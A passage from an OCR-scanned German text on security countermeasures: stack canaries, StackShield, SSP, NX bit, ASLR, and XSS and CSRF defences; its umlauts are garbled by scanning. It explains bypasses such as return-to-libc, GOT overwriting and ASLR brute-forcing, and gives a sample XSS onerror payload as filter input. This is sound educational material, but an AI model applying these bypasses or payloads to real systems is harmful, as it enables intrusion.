Adresse im Prozessspeicher gelenkt werden.

In sogenannten Return-to-Libc Angriffen wird solch ein Funk-
tionszeiger mit einer bestimmten Adresse iiberschrieben, so daf3
der Zeiger auf eine Funktion aus der Libc-Bibliothek zeigt. Die-
se Linux-Bibliothek wird mit jedem Linuxprogramm in den Pro-
zessspeicher geladen und stellt jedem Programm niitzliche Funk-
tionen zur Verfiigung. Auch fiir Angreifer befinden sich dort eini-
ge niitzliche Funktionen, so zum Beispiel system (), um Kom-
mandos an das Betriebssystem zu senden, oder fork (), um wei-
tere (Unter-)Prozesse zu starten oder aber auch diverse Socket-
Funktionen zur Netzwerkkommunikation. Um so einen Angriff er-
folgreich durchfiihren zu konnen, muss der Angreifer nur durch
einen Buffer Overflow einen dahinterliegenden Funktionszeiger mit
der genauen Adresse der Libc-Funktion iiberschreiben, die er im
spéteren Verlauf aufrufen mochte. Das heifit, der Angreifer muss
Kenntnis dariiber haben, an welcher Adresse sich die bestimmte



Libc-Funktion zur Laufzeit im Prozessspeicher befindet. Eventuell
miissen noch einige Parameter fiir die Funktion ebenfalls durch den
Buffer Overflow abgelegt und an die Funktion iibergeben werden.
Zum Schluss muss nur noch dafiir gesorgt werden, dass der Funkti-
onszeiger im Programmfluss aufgerufen wird.

0xc0000000 Kernel Virtual Memory

Function arguments

Canar

Shared Libraries Function pointer

0340000000

Another buffer

1
Te Il
Read/write segment [£] D E
(.data, .hss)
Read-only segment
0:x08048000 {.init, .text, .rodata)
Unus ed

0

Abbildung 9: Durchfiihrung eines Return-to-Libc-Angriffs

Hierdurch ldsst sich StackGuard komplett umgehen, da es in
diesem Szenario nicht notig ist, den Saved Instruction Pointer zu
iberschreiben. Somit wird auch der Canary Value nicht manipuliert
und der Schutzmechanismus umgangen.

Funktionsweise von StackShield

Eine weitere Modifikation fiir den Gnu C Compiler, die leider
nicht mehr weiterentwickelt wird, lautet StackShield. Hierbei wird
kein Canary Value auf den Stack geschrieben, stattdessen wird der
Schutzmechanismus durch 3 unterschiedliche Funktionen realisiert:

1. Funktion: Global Ret Stack

Durch ,,Global Ret Stack* wird beim Aufruf einer Funktion
oder Unterfunktion zunéchst im Prozessspeicher an den An-
fang des . data-Segments die jeweilige aktuelle bzw. spite-
re Riicksprungadresse kopiert. Dieser Bereich wird zusitz-
lich als nicht iiberschreibbar markiert, so dass eine Mani-
pulation dieser Kopie ausgeschlossen werden kann. Wurde
die (Unter-)Funktion abgearbeitet, so wird vor dem Verlassen
der Funktion, bevor die Riicksprungadresse aufgerufen wird,
die Riicksprungadresse mit der zuvor erstellen Kopie wieder
iberschrieben. Die Riicksprungadresse und die Kopie sollten
in der Regel dieselbe Adresse enthalten. Wurde jedoch die
Riicksprungadresse durch einen Buffer Overflow oder einen
Format String zur Laufzeit der (Unter-)Funktion manipuliert,
so wird die Riicksprungadresse in jedem Fall wieder korri-
giert, indem der Wert der Riicksprungadresse mit dem kor-
rekten Wert aus der Kopie iiberschrieben wird.

Somit bietet dieser Mechanismus einen Schutz, Angreifer da-
von abzuhalten, durch Manipulation des Saved Instruction
Pointer beliebigen Code auszufiihren. Jedoch kann so nicht
festgestellt werden, ob es tiberhaupt einen Angriffsversuch
gegeben hat, da die Riicksprungadresse in jedem Fall mit der
gesicherten Kopie iiberschrieben wird. Diesen Umstand be-
seitigt Funktion Nr. 2.

2. Funktion: Ret Range Check

Diese Funktion fungiert dhnlich wie die erste Funktion.
Durch den Funktions-Prolog wird die Riicksprungadresse zu-
néchst in den nicht beschreibbaren Bereich kopiert. Danach
wird die aufgerufene (Unter-)Funktion abgearbeitet. Bevor
diese Funktion zuriickkehrt, wird nun jedoch nicht durch den
Funktions-Epilog die Riicksprungadresse wieder mit der Ko-
pie tiberschrieben, sondern beide Werte werden miteinander
auf Gleichheit iiberpriift. Stimmen beide Werte nicht iiberein,
so wird das Programm terminiert, da eine Manipulation der
Riicksprungadresse stattgefunden hat.

3. Schutz fiir Funktionszeiger

Bei StackGuard wurde geschildert, dass es keinen Schutz
fir Funktionszeiger gibt, welche fiir sogenannte Return-to-
Libc Angriffe miflbraucht werden konnten. StackShield bie-
tet hierfiir einen Schutzmechanismus. Die Idee ist, dass Funk-
tionszeiger generell auf Adressen zeigen sollen, die sich
im .text-Segment befinden. StackShield bietet mit dieser
dritten Funktion die Moglichkeit, zur Laufzeit jeden Funk-
tionszeiger zu kontrollieren, um sicherzustellen, dass die-
se nur auf Adressbereiche im .text-Segment zeigen. Ein
Angreifer, der eine Return-to-Libc Attacke mit Hilfe eines
manipulierten Zeigers ausfiihren mochte, miisste den Zeiger
auf eine Adresse im SharedLibrary-Bereich ,,verbiegen®. Die
SharedLibraries liegen jedoch in einem Adressbereich iiber
0x40000000. Das .text-Segment befindet sich an deut-
lich niedrigeren Adressen. StackShield kann diese Manipula-
tion eines Zeigers aufdecken und das Programm terminieren.

Jedoch scheint dieser Mechanismus bei einigen Programmen
Probleme zu bereiten. Besonders betroffen sind Programme,
die ihren Speicher dynamisch reservieren. Anscheinend hat
StackShield Schwierigkeiten, Funktionszeiger von anderen
Zeigern zu unterscheiden. Es wird vermutet, dass einige Zei-
ger, die in Beziehung mit dem Heap stehen, von StackGuard
falschlicherweise als manipulierte Funktionszeiger erkannt
werden. StackGuard schldgt hier falschen Alarm und termi-
niert das Programm.

Schwachstellen von StackShield

Beim Einsatz der ersten Schutzfunktion ist eine erfolgreiche Mani-
pulation der Riicksprungadresse zwar ausgeschlossen, jedoch lassen
sich hier die Funktionszeiger trotzdem iiberschreiben und so even-
tuell Return-to-Libc Angriffe erfolgreich ausfiihren. Der Schutzme-
chanismus fiir Funktionszeiger kann leider nicht (immer) verwendet
werden, da wie oben beschrieben, unerwartete Programmabstiirze
auftreten konnen. Solch ein unkalkulierbares Risiko (Systemabstiir-
ze, Datenverlust, Downtime,...) kann in einer Produktionsumge-
bung nicht in Kauf genommen werden. Des Weiteren ist es mog-
lich, die sogenannte Global Offset Table (kurz GOT) zu tiberschrei-
ben. Diese Tabelle enthilt die tatsdchlichen Adressen von Funktio-
nen. Ein Angreifer konnte die GOT dermaflen manipulieren, daf
beim Aufruf einer Funktion, zum Beispiel printf (), stattdessen
fork () aufgerufen wird. Eine weitere Schwachstelle von StackS-
hield ist die Tatsache, dass auch hier der Heap nicht geschiitzt wird.
Heap Overflows sind somit auch beim Einsatz von StackShield
nicht beeintrachtigt.



Funktionsweise von Stack Smashing Protector

Stack Smashing Protector, kurz SSP, wurde frither unter dem Na-
men ProPolice entwickelt und schlieBlich als Patch in den Gnu C
Compiler 3.x implementiert. Die Wirkungsweise von SSP ist der
von StackGuard sehr dhnlich. Jedoch wurden einige Verbesserun-
gen eingearbeitet. SSP kann entweder Terminator Canaries, wie bei
StackGuard, oder sogenannte Random Canaries auf dem Stack ab-
legen. Die erste Variante hat jedoch den entscheidenen Nachteil,
dass ein Angreifer den Canary Value kennt. Um dies zu verhindern,
kann SSP einen Random Canary auf dem Stack ablegen, d.h. der
Canary Value wird durch eine Pseudo-Zufalls-Funktion zur Lauf-
zeit generiert.

Eine weitere Verbesserung von SSP ist, dass der Canary Value
nicht vor den Saved Instruction Pointer platziert wird, sondern die-
ser wird bei SSP vorgelagert und somit vor den Saved Frame Poin-
ter gelegt. Hierdurch wird auch der Saved Frame Pointer vor einer
Manipulation geschiitzt.

Die entscheidende Verbesserung von SSP gegeniiber Stack-
Guard ist allerdings, dass der Patch den Compiler zu einer Umstruk-
turierung des Codes veranlasst. Hierdurch wird dafiir gesorgt, dass
die Reihenfolge der lokalen Variablen und Funktionszeiger derma-
Ben umsortiert werden, dass iibergelaufene Puffer niemals einen
Funktionszeiger iiberschreiben konnen. Lokale Puffer befinden sich
durch SSP zur Laufzeit im Stack immer direkt unter dem Canary
Value. Funktionszeiger befinden sich immer unterhalb der Puffer.
Ein Puffer, der nun iiberlaufen wird, kann im schlimmsten Fall nur
weitere Puffer und die Riicksprungadresse iiberschreiben, was SSP
jedoch sofort bemerkt, da der Canary Value dann auch iiberschrie-
ben wiirde. Durch einen Uberlauf ist es aber nicht mehr moglich,
einen dahinterliegenden Funktionszeiger zu iiberschreiben, da sich
hinter einem Puffer niemals ein Funktionszeiger befinden wird.

Der Schutzmechanismus Stack Smashing Protector ist bei der
mit OpenBSD ausgelieferten Version von GCC per default aktiviert.

StackGuard Stack Smashing Protector

Function arguments Function arguments

I s

Abbildung 10: Unterschiede zwischen StackGuard und SSP

Schwachstellen von Stack Smashing Protector

Auch SSP beinhaltet einige Schwachstellen, die es in einigen Fil-
len einem Angreifer ermoglichen, den Schutzmechanismus zu um-
gehen. So sind zum Beispiel von der Umsortierung lokaler Varia-
blen nur Puffer betroffen, die mindestens 8 Byte lang sind. Klei-
nere Puffer werden nicht reorganisiert. Das heifit im schlimmsten
Fall, wenn eine Anwendung kleine Puffer enthilt (< 8 Byte), wer-
den diese nicht direkt unter den Canary Value veschoben. Es kon-
nen sich somit Funktionszeiger iiber den Puffern befinden, welche

durch einen Pufferiiberlauf iiberschrieben und manipuliert werden
konnten.

Function arguments

Abbildung 11: Kleine Puffer (unten) werden nicht umsortiert

Des Weiteren findet generell keine Umsortierung innerhalb von
Structures statt. Eine solche Umsortierung scheint technisch nicht
moglich zu sein. Hier miisste der Programmierer bei der Entwick-
lung seiner Software darauf achten, in seiner Structure zuerst Puffer
und anschlieBend Fuktionszeiger zu definieren. Ansonsten konnen
auch Zeiger in einer Structure von einem Puffer tiberschrieben wer-
den und beliebiger Code zum Ausfiihren gebracht werden.

Wie schon die beiden zuvor vorgestellten Schutzmechanismen,
so bietet auch Stack Smashing Protector keinen Schutzmechanis-
mus fiir den Heap.

Kernelpatches

In den nun folgenden Abschnitten werden Gegenmafinahmen vor-
gestellt, welche nicht durch einen Compiler, sondern durch einen
Kernel bewerkstelligt werden.

Nicht ausfiihrbare Speicherseiten (NX-Bit)

Betrachtet man die hdufigsten Angriffsformen, so stellt man fest,
dass bei den meisten Angriffen eigener Code eingeschleust wird,
welcher anschlieend ausgefiihrt wird. Diese Payload wird also zum
Beispiel durch einen Buffer Overflow in den Prozessspeicher ge-
schrieben und anschlieend aufgerufen.

Eine GegenmalBnahme ist, Speicherbereiche, welche beschreib-
bar sein sollen, als nicht ausfithrbar zu markieren. Andersherum sol-
len Speicherbereiche, die ausfiihrbaren Code enthalten, als ausfiihr-
bar markiert werden, jedoch sollen diese Bereiche nicht beschreib-
bar sein. Dieser Sicherheitsmechanismus lidsst sich nicht, wie der
Schutzmechanismus mit dem Canary Value, durch einen Compiler-
patch realisieren, da das Betriebssystem fiir die Speicherverwaltung
und die Speicherbereiche zustdndig ist. Dieser Sicherheitsmecha-
nismus muss in Form eines Kernelpatches realisiert werden.

Des Weiteren muss zwischen Software-Emulation und
Hardware-Implementation unterschieden werden. Auf diese Un-
terschiede wird nun néher eingegangen.

Software-Emulation: Bei der Software-Emulation wird die
Féhigkeit, Speicherseiten als nicht ausfiihrbar zu markieren, génz-
lich durch das Betriebssystem (Software) realisiert. Ein gravieren-
der Nachteil hierbei sind enorme Performanceeinbuf3en von bis zu
500%. Somit kann es vorkommen, dass eine Operation, die oh-
ne Overhead zum Beispiel nur eine Sekunde dauern wiirde, durch
die Software-Emulation bis zu 10 Sekunden in Anspruch nimmt.
Ein solcher Schutzmechanismus war bzw. ist in der Lage, vor ei-
nigen Internetwiirmern, wie dem Sasser- oder Blasterwurm, zu
schiitzen. Die Software-Emulation ist bei OpenBSD seit Version



3.3 (Releasedatum: 01.05.03) unter dem Namen WAX (gespro-
chen: W xor X) fester Bestandteil des Betriebssystems. Bei den
anderen beiden BSD-Derivaten, FreeBSD und NetBSD, ist keine
Software Emulation implementiert. Fiir das Linux-Betriebssystem
sind Kernelpatches verfiigbar, welche eine Software-Emulation er-
moglichen. Zu den bekanntesten Kernelpatches zihlen PaX, Exec
Shield und OpenWall. Besonders PaX zéhlt zu den interessante-
ren Kernelpatches fiir Linux, da PaX neben der Kennzeichnung
von Datenspeicherbereichen als nicht ausfithrbar und Programm-
speicherbereiche als nicht beschreibar noch zusitzlich Speicherbe-
reiche zufillig im Prozessspeicher anordnen kann. Dieser Schutz-
mechanismus, allgemein unter dem Namen Address Space Layout
Randomization bekannt, wird spiter, im gleichnamigen Abschnitt,
niher vorgestellt.

Hardware-Implementation: Ein entscheidender Nachteil bei
der Software-Emulation ist der teilweise enorme Overhead von
bis zu 500%. Um diese Performanceeinbulen zu beseitigen, ent-
schied sich der Prozessorhersteller AMD, Hardwaresupport in seine
AMD64-Prozessorreihe zu implementieren. Der Vorteil hierbei ist,
dass das Betriebssystem die Aufgaben an die Hardware iibergeben
kann und somit keine Emulation mehr nétig ist. Hierdurch entste-
hen keine messbaren Performanceeinbriiche. AMD veroffentlichte
dieses Feature unter dem Namen NX (No eXecute). Der Konkurrent
Intel folgte AMD und verdffentlichte sein Feature zur hardwareba-
sierten NX-Implementation unter dem Namen XD (eXecute Disa-
ble). Das WAX-Feature bei OpenBSD kann nur die NX Technolo-
gie von AMD64 Prozessoren nutzen. Bei Intel-Prozessoren ist wei-
terhin nur eine Software-Emulation moglich, auch wenn der Intel-
Prozessor das NX-Bit-Feature anbietet. Seit NetBSD 2.0 (Release-
datum: 09.12.04) wird das Feature in vollem Umfang sowohl fiir
den Stack als auch fiir den Heap unterstiitzt. FreeBSD hingegen un-
terstiitzt das NX Feature bis heute nicht. Macintosh-Modelle unter-
stiitzen seit der Umstellung auf die Intel-Architektur das Hardware
NX-Bit. Fiir Linux Betriebssysteme seit dem Kernelrelease 2.6.8 im
August 2004 wird die Hardwareunterstiitzung sowohl fiir AMD64,
als auch IA-64-Prozessoren geboten. Der 32-Bit-Linuxkernel ist
auch in der Lage, auf das hardwarebasierte NX-feature zuzugrei-
fen, sofern ein 64-Bit-Prozessor in dem System eingesetzt wird.
Des Weiteren existieren die separaten Kernelpatches, wie PaX und
Exec Shield fiir den Linuxkernel. Diese unterstiitzen auch AMD64-
und [A-64-Prozessoren. Auf dlteren Systemen bieten diese Pat-
ches, wie im Abschnitt ,,Software-Emulation* schon beschrieben,
nur eine ressourcenhungrige Emulation. PaX wird zum Beispiel
bei der Linuxdistribution Hardened Gentoo per default eingesetzt.
Exec Shield kommt bei den Distributionen von Red Hat Fedora und
RHEL 3 und 4 (Red Hat Enterprise Linux) zum Einsatz.

Schwachstellen des NX-Bit

Zwar ist es einem Angreifer durch dieses Sicherheitsfeature nicht
mehr moglich, eigenen eingeschleusten Code auszufiihren, jedoch
kann ein Angreifer vorhandenen Code fiir seinen Angriff nutzen.
Bei den sogenannten Return-To-Libc Angriffen wird zum Bei-
spiel vorhandener Code aus den SharedLibraries speziell der Libc-
Bibliothek fiir einen Angriff genutzt. Wie schon im Abschnitt
»Schwachstellen von StackGuard“ geschildert, bietet die Libc-
Bibliothek geniigend niitzliche Funktionen fiir einen Angreifer.
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Abbildung 12: Ablauf Return-to-Libc-Angriff

Address Space Layout Randomization

Ein weiteres Sicherheitsfeature, welches in Form eines Kernelpat-
ches realisiert werden kann, ist die Randomisierung des Prozess-
speichers. Im englischen Gebrauch wird dies als Address Space
Layout Randomization oder kurz ASLR bezeichnet. Wie bei vor-
herigen Abschnitten geschildert, ist es oft fiir den Angreifer mog-
lich, einen Return-To-Libc-Angriff durchzufithren. Um bei solch
einem Angriff erfolgreich zu sein, muss der Angreifer genau wis-
sen, an welcher Adresse sich seine gewiinschte Funktion, zum Bei-
spiel fork () oder system (), zur Laufzeit im Prozessspeicher
befindet, damit er einen Funktionszeiger genau auf diese Adresse
umlenken kann. ASLR versucht nun, einen Return-To-Libc-Angriff
unmoglich zu machen, indem es dafiir sorgt, dass die Funktionen im
Prozessspeicher sich nicht immer an derselben Adresse befinden.

Am Beispiel von PaX soll die prinzipielle Funktionsweise von
ASLR geschildert werden: Beim Aufrufen einer Anwendung oder
eines Dienstes werden wihrend der Generierung des Prozessspei-
chers durch das ASLR-Feature dynamisch groBe Padding-Felder
iber dem Stack unter den SharedLibaries und unter dem Heap gene-
riert. PaX bietet fiir die jeweiligen Segmente jeweils 16, 16 und 24
Bit an Entropie. Die durch die Padding-Felder belegten Speicherbe-
reiche stehen dem Prozess nicht mehr zur Verfiigung.
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Abbildung 13: Platzierung der Paddingfelder

Dadurch befinden sich die Basisadressen der drei Segmente bei je-
der Instanziierung an unterschiedlichen Stellen. Folglich befinden
sich auch die Funktionen in den SharedLibraries bei jeder Instan-
ziierung an unterschiedlichen Adressen. Somit kann ein Angreifer
nicht mehr auf einem Testsystem in aller Ruhe ein Exploit vorbe-
reiten, welcher an einer festen Adresse eine bestimmte Funktion
erwartet. Denn bei Systemen mit aktiviertem ASLR-Schutz wird
sich an dieser Adresse die gesuchte Funktion mit sehr hoher Wahr-
scheinlichkeit nicht befinden. Der Exploit wird somit bei Systemen
mit ASLR wirkungslos.

ASLR-Schwachstellen

In einer wissenschaftlichen Arbeit der Stanford-Universitit wurde
nachvollziehbar demonstriert, dass Return-To-Libc-Angriffe den-
noch moglich sind. Zwar kennt ein Angreifer die Adresse seiner
gewiinschten Funktion nicht mehr, jedoch hindert es ihn nicht, die-
se per Brute Force herauszufinden. Ein Angreifer muss sein Exploit
nur “ein paar mal 6fter auf das Zielsystem anwenden. Die Anzahl
der notigen Versuche, um die richtige Adresse zu finden und somit
einen erfolgreichen Angriff durchfiihren zu konnen, lisst sich aus
folgender Formel ableiten:

Gesuchte Funktion =
0x40000000 + Offset + delta_mmap

Die gesuchte Funktion sei zum Beispiel die Funktion system (),
die ein Angreifer in seinem Exploit verwendet und im
SharedLibrary-Segment finden muss. Das SharedLibrary-Segment
beginnt bei Linuxsystemen grundsitzlich ab der Adresse
0x40000000. Das Offset ist das Offset, an der sich die Funk-
tion system () auf nicht durch ASLR geschiitzten Systemen be-
findet. Dieses Offset kann der Angreifer zum Beispiel auf einem
Testsystem ohne ASLR miihelos herausfinden. Die delta_mmap-
Variable ist nun der Zufallswert bzw. das Padding, welcher
durch PaX generiert wird. Da die delta_mmap-Variable fiir das
SharedLibrary-Segment 16Bit an Entropie betriigt, muss der An-
greifer 2'% = 65.536 mal seinen Exploit auf ein System anwenden,
um einen erfolgreichen Angriff durchzufiihren. Nach nur der Hilfte

der Versuche, demzufolge ab dem 32.768sten Versuch, besteht eine
50%-Wahrscheinlichkeit auf einen erfolgreichen Angriff. Die Gro-
Benordnung ist fiir einen automatischen Angriff recht gering und
die Stanford-Universitdt hat in einem Experiment gezeigt, dass es
im Schnitt gerade mal 216 Sekunden gedauert hat, bis die richtige
Adresse gefunden wurde. Somit lassen sich prinzipiell alle Return-
to-Libc-Angriffe auch auf ASLR-geschiitzten Systemen erfolgreich
durchfiihren. Nur eine hohere Entropie kann Brute Force-Angriffe
unpraktikabel machen. Auf 32-Bit-Systemen ist es jedoch technisch
nicht moglich, mehr als 16- bis 20-Bit Entropie fiir delta_mmap
zu bieten. Somit ist der durch ASLR generierte Schutz vor Return-
To-Libc-Angriffen auf 32-Bit-Systemen nicht ausreichend hoch.
Auf 64Bit-Architekturen wird eine Entropie von 40Bit geboten,
welche Brute Force-Attacken nicht mehr praktikabel macht. Somit
bietet ASLR nur auf 64-Bit-Architekturen ausreichenden Schutz.

Gegenmafinahmen Webbasierter Software

Im Gegensatz zu den Sicherheisproblemen der klassischen Pro-
grammiersprachen, wie zum Beispiel C, sind die Problematiken, die
speziell webbasierte Software betreffen, noch relativ jung. Dies hat
zwei Folgen.

Zum einen entstehen neue Angriffsvektoren, da sich die Web-
technologien weiterentwickeln und immer mehr Funktionalitit hin-
zugefiigt wird. Das Schlagwort Web 2.0 hat gezeigt, dass die Ent-
wicklung des Webs noch nicht am Ende ist. Es wird immer mehr
Interaktivitit angestrebt. All dies wird jedoch mit Protokollen und
Sprachen umgesetzt, die nicht fiir derartige Nutzung konzipiert wa-
ren. Die so gemachten Erweiterungen haben hiufig sicherheitsre-
levante Folgen. So wurde dem XMLHttpRequest-Objekt zum Bei-
spiel im Nachhinein eine Vielzahl an Funktionalitidt wieder entzo-
gen [ses-live2007].

Zum anderen gibt es zwar einige, wenige Frameworks, mit de-
ren Hilfe Webapplikationen sicherer entwickelt werden konnen, al-
lerdings werden diese noch nicht besonders breitflichig eingesetzt,
gerade nicht von Einsteigern. Die Programmiersprachen fiir die Ent-
wicklung von Webapplikationen bieten teilweise kleinere Sicher-
heitsfeatures automatisch an, wie beispielsweise Magic Quotes in
PHP. Jedoch vermitteln diese impliziten Sicherheitsmafnahmen ein
falsches Gefiihl der Sicherheit. Viele wissen nicht, welcher Art von
Angriffen diese Schutzmechanismen tiberhaupt vorbeugen.

Insgesamt sind Sprachen, die zum Erstellen von Webapplika-
tionen konzipiert wurden, nicht mit einer so groBen Vielzahl an
automatischen Schutzmechanismen gegeniiber ihrer spezifischen
Schwachstellen ausgestattet, wie die zuvor erwéhnten klassischen
Programmiersprachen.

XSS

Die trivialste Methode, XSS zu unterbinden, ist, den vom Benutzer
erzeugten Inhalt zu filtern. Der Filter sollte méichtig genug sein, um
zu verhindern, dass neue Tags geoffnet werden konnen und man aus
der aktuellen Umgebung ausbrechen kann.

Hier ein Beispiel zur Erldauterung. Angenommen, der Benutzer
darf den Inhalt des src-Attributes eines img-Tags definieren, so
sollte es ithm nicht moglich sein, etwas anderes als dieses src-
Attribut zu verdndern. Sollte der Code also folgendermalien aus-
sehen:



<img src="S$userSrc"> R
dann darf bei der Eingabe von

" onerror="alert ('xss’);
nicht

<img src="" onerror="alert ('xss’);">
herauskommen, sondern etwas in der Art wie:

<img src="&quot; onerror=
&quot;alert ("xss’); ">

Natiirlich miissen mehr Zeichen als nur " gefiltert werden. Wel-
che, hingt jedoch von der Webanwendung selbst ab. Ein grofies
Problem fiir derartige Filter ist, dass die Entwicklung immer mehr
hin zu dynamischeren Inhalten geht. Nehmen wir zum Beispiel
myspace.com. Dort wird dem Benutzer mehr oder weniger ermog-
licht, eine eigene Webseite zu erstellen. Hierfiir ist es natiirlich no-
tig, dass er neue HTML-Elemente erstellen kann. Es ist nun ein 4du-
Berst schwieriges und komplexes Unterfangen, simtliche Elemente
und Attribute, die Schwachstellen darstellen, zu verbieten, bezie-
hungsweise all jene, die es nicht sind, zu erlauben.

Um sich auch gegen Typ 0-XSS zu schiitzen, miissen solche
Filter natiirlich auch auf Eingaben, die von einem Benutzer beein-
flusst werden konnen, angewendet werden. Dies sind vor Allem die
Adresse und der Referer.

Ein anderer Weg, eingeschleusten JavaScript-Code zu entde-
cken, ist es, den DOM (Document Object Model) zur Hilfe zu neh-
men. DOM ist ein Standard-Objektmodell fiir XML und verwandte
Dokumente. Mit seiner Hilfe kann richtungsunabhéngig in einem
Dokument navigiert und konnen beliebige Teile gedndert werden.
Die Datenstruktur ist ein Baum und es wird iiber Eltern- und Kind-
Beziehungen auf die Knoten zugegriffen. DOM bildet die Basis, auf
Grund derer die meisten Browser Webseiten verarbeiten und anzei-
gen.

Ein erster naiver Ansatz dieser Methodik ist es, zuvor zu defi-
nieren, an welcher Stelle script-Blocke stehen und dann vor dem
Ausliefern der Webseite den DOM-Baum zu iiberpriifen, ob sich
nun an Stellen, die nicht zuvor definiert wurden, script-Blocke
befinden. Das Hauptproblem an dieser Methodik ist, dass es noch
eine Vielzahl anderer Arten gibt, JavaScript-Code in einer Websei-
te auszufithren. Man miisste also alle DOM-Elemente einer Seite
iberpriifen. Zuvor jedoch braucht man ein Template, gegen das die
Webseite validiert werden kann. Die Erstellung dieses Templates
wird immer komplexer, je dynamischer der Inhalt ist. Das Validie-
ren darf auch nicht lediglich auf der Existenz von Elementen basie-
ren, sondern es miissen auch die Attribute mit einbezogen werden.
Wenn dies nicht geschihe, wire zum Beispiel das folgende Szenario
moglich. Sollte es einem Benutzer erlaubt sein, ein Bild einzufiigen,
konnte er als src-Attribut einen Link zu einem nicht existierenden
Bild angeben und nun in dem onerror-Attribut JavaScript-Code
einbinden, welcher ausgefiihrt wird, sobald der Browser feststellt,
dass das angegebene Bild nicht existiert.

Mogliche Probleme treten auch auf Grund dessen auf, dass
verschiedene Browser HTML-Seiten unterschiedlich interpretieren
und eine gewisse Fehlertoleranz implementieren, so dass manche
Browser durch bestimmte Tricks dazu gebracht werden konnen,
Teile anders zu interpretieren als man augenscheinlich vermuten
wiirde [ha.ckers2007]. Um diesen so entstehenden, individuellen

Angriffszenarien entgegenzuwirken, besteht die Moglichkeit, den
Quelltext der Seite bereinigen zu lassen, bevor auf potenzielle XSS-
Versuche gepriift wird. Dieses Bereinigen soll halbzulidssige und
nicht standardkonforme Elemente so verdndern, dass die Seite kom-
plett standardkonform ist, auch die Teile, die von Benutzern hinzu-
gefiigt wurden. Ein Sicherheitsrisiko entsteht jedoch, sollte die Sei-
te zuerst auf Schadcode gepriift und dann bereinigt werden. Denn
damit kann der Angreifer nun den Bereinigungsschritt zu seinem
Vorteil nutzen, indem er Code einfiigt, der von den Filtern nicht
erkannt, jedoch beim Bereinigen in schédlichen Code konvertiert
wird. Eine solche Funtionalitit des Bereinigens bietet zum Beispiel
das Open-Source Projekt HTML Tidy [SourceForge].

Dieser Weg schafft jedoch nicht bei allen Arten von XSS Abhil-
fe, sondern nur bei den Typen 1 und 2, da diese Gegenmafinahme
ausschliesslich auf der Serverseite stattfindet.

Sollte man gezwungen sein, JavaScript von einem Benutzer
in die Seite einzubinden, kann man noch eine andere Sicherheits-
vorkehrung treffen. Diese ist das Uberschreiben von JavaScript-
Funktionen, so dass diese nicht mehr von dem Benutzer verwen-
det werden konnen. Mochte man zum Beispiel nicht, dass der
DOM-Tree veridndert werden kann, so sollte man sidmtliche Funk-
tionen, die Referenzen auf bestehende Elemente zuriickliefern, als
auch die, die es ermoglichen, neue Elemente hinzuzufiigen, erset-
zen. Das Uberschreiben von document . getElementById si-
he beispielsweise so aus:

function myvVoid() {
return ’'This action is not allowed.’;

}
document .getElementById=myVoid;

Session Riding/Cross Site Request Forgery (CSRF)

Der erste Schritt gegen Session Riding ist die Benutzung von Non-
ces, die fiir das Ausfiihren jeder einzelnen Aktion bendtigt werden.
Nonce ist die Abkiirzung fiir ,,Number used ONCE*®, die Verwen-
dung ist allerdings nicht auf Zahlen beschrinkt. Eine solche Nonce
ist ein String, dessen Wert nicht vorhersagbar sein darf. Fiir jede Ak-
tion wird eine neue, einzigartige Nonce erzeugt. Diese wird dann als
Parameter in den Link oder als hidden input-Feld in das Formular
eingefiigt, das die Aktion ausfiihrt. Bevor die gewiinschte Aktion
nun ausgefiihrt wird, iberpriift der Server, ob die Nonce noch mit
der zuvor fiir diese Aktionen Generierten iibereinstimmt, und nur
dann wird die Aktion erlaubt. Dies unterbindet bereits reines Ses-
sion Riding, sofern die Nonces nicht erraten werden konnen, ihr
Raum derartig klein ist, dass Brute-Force moglich ist oder auf eine
andere Weise die Same-Origin-Policy umgangen wurde.

Eine andere Sache ist es, wenn Session Riding in Verbindung
mit XSS auftritt. Denn in diesem Fall steht dem Angreifer der Sei-
teninhalt zur Verfiigung, so dass die Nonce kein Geheimnis mehr
darstellt. Es muss lediglich noch die Seite, die die gewiinschte Akti-
on bereitstellt, in einem iframe (oder iiber das XMLHt t pRequest-
Objekt) aufgerufen werden und die Nonce ausgelesen werden. So-
mit ist man im Besitz einer validen Nonce und darf die Aktion
durchfiihren. Gegen diesen Angriff ldsst sich eine Technik, die ur-
spriinglich als Anti-Spam-Mechanismus entwickelt wurde, einset-
zen, genannt Captchas. Ein Captcha ist ein vom Server generiertes
Bild. Auf diesem befindet sich ein String, der so verdndert wur-
de, dass es moglichst schwer ist, ihn automatisiert wieder in einen



String umzuwandeln. Diese Zeichenkette ist nun unsere Nonce. Da
es nicht moglich sein sollte, innerhalb des JavaScript-Codes zu er-
kennen, um welche es sich handelt, bietet es auch Schutz gegen Ses-
sion Riding in Verbindung mit XSS. Je nachdem, wie diese Capt-
chas erstellt werden, lieBe sich diese GegenmaBinahme unter Um-
stinden noch umgehen, indem der Angreifer sich das Bild schicken
lasst und dann von Hand die Nonce an das Script zuriickschickt.

Eine beispielhafte Implementierung wire: Das Script schickt
die URL des Captchas als Anfrage einer Seite an den Webserver
des Angreifers. Dieser guckt sich das Bild an und schickt die Nonce
als Antwort. Natiirlich sollte man bei der Erstellung des Captchas
nicht den Fehler machen, das Bild nach der Nonce zu benennen
oder sie als alternativen Text, falls das Bild nicht angezeigt werden
kann, zu benutzen, da es dem Script dann wieder moglich ist, sie
direkt auszulesen.

Einen sehr dhnlichen Ansatz bietet auch das Einbinden ande-
rer Arten von Turing-Tests. Diese dienen zum Unterscheiden, ob
das Gegeniiber ein Mensch oder eine Maschine ist. Hiufig werden
unterschiedlich formulierte mathematische Aufgaben gestellt, deren
Ergebnisse dann vom Benutzer eingegeben werden miissen. Dies ist
wieder unsere Nonce. Problematisch wird es allerdings, sollte die
Implementation bekannt sein, da in diesem Fall eine Umkehrfunk-
tion des Satzgenerators erstellt werden kann. Dasselbe gilt fiir zu
einfache Generatoren.

Noch einen Schritt weiter gehen Banken. Sie schiitzen ihre Kun-
den durch so genannte TANs (Abkiirzung fiir TransAktionsNum-
mern). Sie bilden in diesem Fall die Nonce, die ein gemeinsames
Geheimnis zwischen der Bank und dem Kunden ist. Da diese Infor-
mation per Post tibermittelt wird, hat der Angreifer keine Chance, an
dieses Geheimnis zu kommen. Es besteht natiirlich die Moglichkeit,
die auch von vielen Phishern eingesetzt wird, dem Kunden vorzu-
gaukeln, sie wiren auf der Seite der Bank und auf diese Weise die
TAN (und auch ihre Benutzerkennung und Passwort) abzufangen.
Diese Methodik hat jedoch nichts mehr mit Session Riding zu tun.

Eine komplett andere Methodik ist das Uberpriifen des
Referer-Headers (eigentlich Referrer, doch im Standard falsch
benannt). Er gibt an auf welcher Webseite der Benutzer war bevor
